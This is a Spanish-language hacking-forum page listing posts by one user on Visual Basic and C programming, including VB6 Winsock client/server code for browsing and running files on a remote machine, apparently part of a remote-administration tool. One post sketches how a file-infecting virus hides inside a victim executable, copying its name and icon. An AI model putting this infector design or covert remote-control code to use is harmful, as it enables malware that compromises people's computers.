Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ~~

#831
Cita de: yovaninu en  5 Abril 2007, 17:58 PM
Cita de: E0N en  5 Abril 2007, 12:58 PM
Podias ponerlo, a mi me interesa saber como leer un archivo de 2GB por ej y q el VB no se pete, como lo haces tu?

Justamente esa es la idea mala que tenemos hasta ahora de transferir el archivo, es decir pasar tooooodo el archivo a una variable y despues transferirlo, y claro viene las imaginaciones malevolas por cierto de decir como paso 80GB a una variable sin que el basic se cuelgue, pues no necesariamente debes pasar lo 80GB del archivo a una variable... y este es el secreto... el tamaño archivo se debe dividir en partes (en cuantas sea necesario) y extraer solo esos tamaños o poriones a una variable lo que es mas razonable que pasar todo el archivo a una variable para luego transferirlos, puedes dividirlo en 10, 100, 1000, o 5000 partes y cada pedazo transferirlo sin problemas. Yo un archivo de mas de 100MB lo divido en 4096 partes aunque puedo elegir ese valor.... esto es 104857600 / 4096 = 25600bytes osea casi 25KB, esos 25 kb a una variable y  esa variable se procede a transferir hasta terminar... si sobra bytes tambien eso se controla, este es el secreto que uso, asi que por teoria ningun archivo asi sea este de 100TB no deberia colgar al basic, aunque quien sabe.

Un Saludo.

Si la historia es esa. Yo cuando subo archivos los suele subir de 10 en 10 bits para poner la barra de progreso, pero primero lo leo entero

La cuestion es, al abrir desde VB (open "C:\...) un archivo de 80GB (simplemente usar la orden open) no se te revienta el programa??
#832
Yo ahora tb estoy desarrollando un code de infeccion, q creo, pero no estoy muy seguro q funciona distinto a ese, ya q en propagacion virica no estoy muy puesto.

Soy la idea general, para el q le interese. Lo mio seria mas bien tipo joiner. Copiamos en un archivo el ekivalente al stubb, a continuacion nuestro virus, y al final el ejecutable q hemos infectado.
Despues borramos el ejecutable original y nos kedamos con su nombre y su icono. De esta manera al ejecutarse este nuevo ejecutable extraeria el archiv original de si mismo, lo ejecutaria y haria lo mismo con el "virus" o el code q keramos ponerle.

Es asi como lo haceis vosotros no?? por q yo eso del entrypoint ni lo e tocado  :xD :xD
#833
Cita de: Meg en  5 Abril 2007, 16:41 PM
Esta muy bien el filemanager,aunke habria que añadirle cosillas como por ejemplo una flechita para que vuelva al directorio anterior,poner iconos segun el tipo de archivos etc...

pero para empezar ha hacer un filemanager es el mejor ejemplo que puedes encontrar  ;)

Creo q tu mas q nadie sabes bien q ese code ya lo tengo hecho desde hace tiempo  :xD :xD

Pero esto solo era un ejemplo de listar carpetas q he hecho, por q veia q habia muchas dudas al respecto en el foro. A lo mejor me animo y cuando acabe el Fenix 3.0, q va a ser la bomba (ya me doy un poco de publicidad  :P) libero el codigo

1S4ludo
#834
Si, si q existe un tuto de ms-dos, mira:
http://foro.elhacker.net/index.php/topic,18148.0.html

Para llamar a estas funciones dsde C, tienes q usar system() (recuerda incluir windows.h ;))
Para cambiar el nombre tendrias q usar esto:

system("rename C:\\archivo1.txt C:\\arch.txt")

Por ejemplo.
En tu codigo puedes crear el archivo directamente con la variable q has recogido desde el teclado, en vez de poner esto: archivo1=fopen("C:\\archivo1.txt","w"); pones en el primer parametro el char* q contiene el nombre del archivo y ya esta:

archivo1=fopen(nombre_archivo,"w");


Y creo q ya te e contestado a todo ;).
Te enseño un trukillo ya q estoy. Para usar dir por ejemplo desde C y sacar solamente algun dato puedes hacer esto:

system("dir > C:\\dir.txt");

Como veras se guarda en un archivo lo q deberia salir en el ms-dos, ahora solo es cuestion de abrirlo y de sacar lo q tu kieras ;)

Aaaah y otra cosa q se me olvidaba, recuerda q la funcion system lo q toma es un char*, asi q puedes construir un char con los datos q tu kieras (o q el user introduzca por ej) y luego llamarla  :xD

1S4ludo
#835
Hola

Ya q e puesto el codigo pegado en varios post, e decidido poner aqui todo el proyecto entero. Lo q hace este source es explorar remotamente las carpetas de otro equipo (a traves de internet) visualizandolas en un list view en el server con opcion a ejecutar los archivos remotamente.

DESCARGA

1S4ludo  :xD
#836
Podias ponerlo, a mi me interesa saber como leer un archivo de 2GB por ej y q el VB no se pete, como lo haces tu?
#837
Mira aki te dejo el codigo:

CLIENTE:
modulo:

'File Manager by E0N
Function IntroRuta(ruta As String)

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

frmArchivos.lvArchivos.ListItems.Clear 'Limpiamos las listas
frmArchivos.lvCarpetas.ListItems.Clear

rutapartida = Split(ruta, "?")
Unidad = rutapartida(0)
Carpetas = rutapartida(1)
Archivos = rutapartida(2)

frmArchivos.txtUnidad = rutapartida(0) 'Metemos la ruta en el textBox


'Asi metemos las rutas de carpeta individuales en el lvCarpetas
carpeta = Split(Carpetas, "<")

For n = 0 To UBound(carpeta)
    With frmArchivos.lvCarpetas.ListItems.Add(, , carpeta(n))
    End With
Next n


'Asi metemos los archivos en el lvArchivos
archivo = Split(Archivos, "<")

For a = 0 To UBound(archivo)
    With frmArchivos.lvArchivos.ListItems.Add(, , archivo(a))
    End With
Next a

End Function


en el form en el q se ven los archivos:

'File Manager by E0N

Dim vIndex As Variant
Dim ParaEjecutar As String

Private Sub Explorar_Click()
frmPrincipal.ws(vIndex(0)).SendData "ruta|" & txtUnidad.Text
End Sub

Private Sub lvArchivos_ItemClick(ByVal Item As MSComctlLib.ListItem)
ParaEjecutar = Item.Text
End Sub

Private Sub lvArchivos_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then PopupMenu Opciones
End Sub

Private Sub lvCarpetas_ItemClick(ByVal Item As MSComctlLib.ListItem)
If txtUnidad.Text = Item.Text Then
    Call Explorar_Click
Else
    txtUnidad.Text = Item.Text
End If
End Sub


Private Sub Form_Load()
vIndex = Split(frmPrincipal.Lv.SelectedItem.Key, "|") 'Para el winsock
frmPrincipal.ws(vIndex(0)).SendData "actualizar"
End Sub



SERVER:
En el form:
'File Manager by E0N

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String 'Los datos q llegan
Dim vData As Variant 'Los datos partidos

ws.GetData data
vData = Split(data, "|")

Select Case vData(0) 'Empezamos los casos

Case "cambiarnombre" 'Para cambiar el nombre
    Open Ruta_Windows & "\WinName.txt" For Output As #1
    Print #1, vData(1)
    Close #1
    Server_Name = vData(1)

Case "actualizar" 'Para embiar la ruta del file manager nada mas arrancar
    Dim ruta As String
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta

Case "ruta" 'Para embiar la ruta del file manager a peticion del cliente
    On Local Error GoTo Error
    Dir1.Path = vData(1)
    ruta = Rutas()
    ws.SendData "rutatotal|" & ruta
    Exit Sub
Error:
    ws.SendData "error carpeta"
end select

Private Sub Dir1_Change() 'Para camiar las rutas correctamente
File1.Path = Dir1.Path
End Sub

Private Sub Drive1_Change() 'Para camiar las rutas correctamente
Dir1.Path = Drive1.Drive
End Sub


(tienes q añadir un Dir1 y un file 1 ;))

A un modulo:

'Fie Manager by E0N

Public Function Rutas() As String 'Manda todas las rutas y archivos en un string

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

Unidad = frm.Dir1.Path  'Asi metemos la ruta actual en el string


'Asi metemos las carpetas en el string
Dim ca As Integer
ca = frm.Dir1.ListCount - 1
Carpetas = ""

While frm.Dir1.List(ca) <> frm.Dir1.Path
Carpetas = Carpetas & "<" & frm.Dir1.List(ca)
ca = ca - 1
Wend

'Asi metemos los archivos en el string
Dim ar As Integer
ar = frm.File1.ListCount - 1
Archivos = ""

While frm.File1.List(ar) <> ""
Archivos = Archivos & "<" & frm.File1.List(ar)
ar = ar - 1
Wend

Carpetas = Mid(Carpetas, 2) ' Kitamos el < inicial
Archivos = Mid(Archivos, 2)

'Ahora devolvemos todas las rutas juntas en un string
Rutas = Unidad & "?" & Carpetas & "?" & Archivos

End Function




Ya esta, creo q esta todo. La idea es sacar las rutas de y las carpetas de el nombre de los archivos de los controles de VB q se encargan de eso y luego enviarlos, y q al recibirlos en el cliente partirlos correctamente ;)

Lo unico q te piddo es q si lo usas me cites y respetes q el codigo es mio si lo pasas o lo q sea, q su trabajo me llevo ;)

1S4ludo
#838
Pues subele +1 al for vamos for i= 2, prueva asi, q lo e hecho sin el vb delante y tal, pero vamos q la idea es esa. Busca por el foro de VB q yo mismo puse un ejemplo d filemanager ;)
#839
no te complikes usa send keys y ya esta..
#840
Pues ponle dos splits xDD
Mira esta seria la estructura:

list|archivo#carpeta|archivo#carpeta|archivo#carpeta|archivo#carpeta

case "list"
For i = 1 To ubound(data)
dim todo as string
todo = data(i)
parte = split (data(i),"#")
Set x = ListView1.ListItems.Add(, , parte(0)).subitems (1) = parte(1)
Next i


Asi de simple  :P